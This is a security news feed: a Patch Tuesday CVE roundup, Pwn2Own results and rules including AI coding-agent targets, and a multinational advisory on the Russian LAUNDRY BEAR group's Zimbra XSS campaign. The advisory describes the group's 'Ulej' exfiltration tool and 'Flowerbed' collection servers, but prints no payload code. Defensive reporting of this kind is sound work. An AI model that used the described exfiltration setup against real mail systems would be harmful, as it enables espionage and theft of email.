CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50687	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50295	Windows Zero Trust DNS Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55945	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	4.2	No	No	Info
CVE-2026-45488	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-45489	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-55145	Outlook Copilot Tampering Vulnerability	Moderate	6.3	No	No	Tampering
CVE-2026-56181	Windows Network Address Translation (NAT) Spoofing Vulnerability	Moderate	8.3	No	No	Spoofing
CVE-2026-58597	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.

That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.

The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.

There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.

The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.

Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.

Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.

Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network. The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”. HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Pwn2Own Automotive 2026 - Day Three Results and the Master of Pwn

Sat, 25 Jul 2026 19:00:45 +0200

The last day of Pwn2Own Automotive 2026 saw the world’s top security researchers take their final shots at the latest automotive systems. Over three days of intense competition, $1,047,000 USD was awarded for 76 unique 0-day vulnerabilities, with bold exploits, clever techniques, and collisions keeping the action thrilling throughout.

By the end, Tobias Scharnowski (@ScepticCtf), Felix Buchmann (@diff_fusion), and Kristian Covic (@SeTcbPrivilege) of Fuzzware.io claimed the title of Master of Pwn, earning 28 points and $215,500 USD.

Follow the final updates on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2OwnAutomotive and #P2OAuto.

SUCCESS / COLLISON - Tobias Scharnowski (@ScepticCtf), Felix Buchmann (@diff_fusion), and Kristian Covic (@SeTcbPrivilege) of Fuzzware.io targeted the Alpine iLX-F511, demonstrating one vulnerability previously used by another contestant, earning $2,500 USD and 1 Master of Pwn point. #Pwn2Own #P2OAuto

SUCCESS / COLLISON - Slow Horses of Qrious Secure (@qriousec) targeted the Grizzl-E Smart 40A but encountered two bug collisions, still earning $5,000 USD and 2 Master of Pwn points.

SUCCESS / COLLISON - Team MST targeted the Kenwood DNR1007XR, demonstrating one bug but running into a collision, earning $2,500 USD and 1 Master of Pwn point.

SUCCESS - PetoWorks (@petoworks) targeted the Grizzl-E Smart 40A, exploiting one buffer overflow bug, and earned $10,000 USD and 4 Master of Pwn points.

SUCCESS - Bongeun Koo (@kiddo_pwn) and Evangelos Daravigkas (@freddo_1337) of Team DDOS targeted the Alpine iLX‑F511, exploiting a stack‑based buffer overflow to earn $5,000 USD and 2 Master of Pwn points.

SUCCESS - Viettel Cyber Security (@vcslab) targeted the Sony XAV‑9500ES, exploiting a heap‑based buffer overflow to achieve arbitrary code execution, earning $10,000 USD and 2 Master of Pwn points. #Pwn2Own #P2OAuto

SUCCESS / COLLISON - Qrious Secure (@qriousec) targeted the Kenwood system, demonstrating three bugs - one n-day and two unique vulnerabilities (incorrect permission assignment and a race condition), earning $4,000 USD and 1.75 Master of Pwn points.

SUCCESS - Boom! or shall we say Doom? Game On! Aapo Oksman, Elias Ikkelä-Koski and Mikael Kantola of Juurin Oy exploit the Alpitronic HYC50 with a TOCTOU bug - and installed a playable version of Doom to boot. They earn $20,000 and 4 Master of Pwn points. #Pwn2Own #P2OAuto

SUCCESS / COLLISON - Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) targeted the Kenwood DNR1007XR, demonstrating one bug but encountering a collision, earning $2,500 USD and 1 Master of Pwn point.

SUCCESS / COLLISON - Autocrypt (Hoyong Jin, Jaewoo Jeong, Chanhyeok Jung, Minsoo Son, and Kisang Choi) targeted the Alpine iLX-F511, demonstrating two vulnerabilities to gain root access. One collided with a previously known issue, earning $3,000 USD and 1.25 Master of Pwn points.

SUCCESS - Elias Ikkelä-Koski and Aapo Oksman of Juurin Oy targeted the Kenwood DNR1007XR, demonstrating a link-following vulnerability to earn $5,000 USD and 2 Master of Pwn points.

SUCCESS - Nam Ha Bach and Vu Tien Hoa of the FPT NightWolf Team targeted the Alpine iLX-F511, exploiting one unique vulnerability to gain root access and earning $5,000 USD and 2 Master of Pwn points.

SUCCESS / COLLISON - Ryo Kato (@Pwn4S0n1c) targeted the Autel MaxiCharger AC Elite Home 40A, demonstrating a three-bug chain but encountering one collision, still earning $16,750 USD and 3.5 Master of Pwn points.

Announcing Pwn2Own Berlin for 2026

Sat, 25 Jul 2026 19:00:42 +0200

If you just want to read the contest rules, click here.

Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of our shipping troubles, we had an amazing time and can’t wait to get back.

Last year, we added Artificial Intelligence as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from AWS wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.

The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:

-- Virtualization
-- Web Browser
-- Enterprise Applications
-- Servers
-- Local Escalation of Privilege
-- Containers
-- AI Database
-- Coding Agents
-- Local Inference
-- NVIDIA

Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do not go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for Platinum status), a killer trophy, and a pretty snazzy jacket to boot.

Let's look at the details of the rules for this year's event.

Virtualization Category

Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.

There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target and obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:

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Web Browser Category

While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:

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Enterprise Applications Category

Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.

This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just patched a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:

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The Server Category

The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:

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Local Escalation of Privilege Category

This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:

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The Container Category

We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:

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AI Database Category

In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:

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The Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

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The Local Inference Category

We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:

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The NVIDIA Category

Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:

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Conclusion

The complete rules for Pwn2Own Berlin 2026 are found here. As always, we highly encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, email us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.

Be sure to stay tuned to this blog and follow us on Twitter, Mastodon, LinkedIn, or Bluesky for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.

With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.

© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

10 Best ZTNA Solutions (Zero Trust Network Access) In 2026

Sat, 25 Jul 2026 19:00:19 +0200

Zero Trust Network Access (ZTNA) anchors 2026 cybersecurity amid remote, cloud, and hybrid booms. ZTNA solutions aren’t hype—they’re vital for data locks, compliance wins, and borderless teams. “Never trust, always verify”: ZTNA okays only vetted users/devices, location-blind. Shrink attack planes, block lateral creeps, master app gates. Market clutter and threat flux complicate picks. We rank […]

The post 10 Best ZTNA Solutions (Zero Trust Network Access) In 2026 appeared first on Cyber Security News.

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Sat, 25 Jul 2026 18:59:26 +0200

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

United States National Security Agency (NSA)
United States Federal Bureau of Investigation (FBI)
Netherlands Defence Intelligence and Security Service (MIVD)
Netherlands General Intelligence and Security Service (AIVD)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Defense Counterintelligence and Security Agency (DCSA)
United States Department of Defense Cyber Crime Center (DC3)
United States Department of the Treasury
United States Naval Criminal Investigative Service (NCIS)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³
Finnish Defence Intelligence (FDI)⁴
Finnish Security and Intelligence Service (SUPO)⁵
French General Directorate for Internal Security (DGSI)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
Security and Intelligence Service of the Republic of Moldova (SIS RM)¹⁰
Polish Foreign Intelligence Agency (AW)¹¹
The Military Counterintelligence Service of Poland (SKW)¹²
Spain National Intelligence Centre (CNI)¹³
Sweden National Cyber Security Centre (NCSC-SE)¹⁴

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

AA26-204A.stix.xml (STIX XML)
AA26-204A.stix.json (STIX JSON)

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

LAUNDRY BEAR
Void Blizzard [2]
CL-STA-1114 [3]
TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.

The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].

Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named “Улей” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

Last 90 days of emails,
Email address,
Password [T1589.001],
Global Address List (GAL) [T1087],
Two-factor authentication (2FA) tokens, and
Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

the Defense Industrial Base (DIB),
the federal and local government,
education,
energy,
law enforcement,
media,
non-governmental organizations, and
technology.

Technical details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FEND^TM version 1.4.0¹⁵. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].

Resource development

The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

Catcher,
Certbot,
Nginx, and
Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email

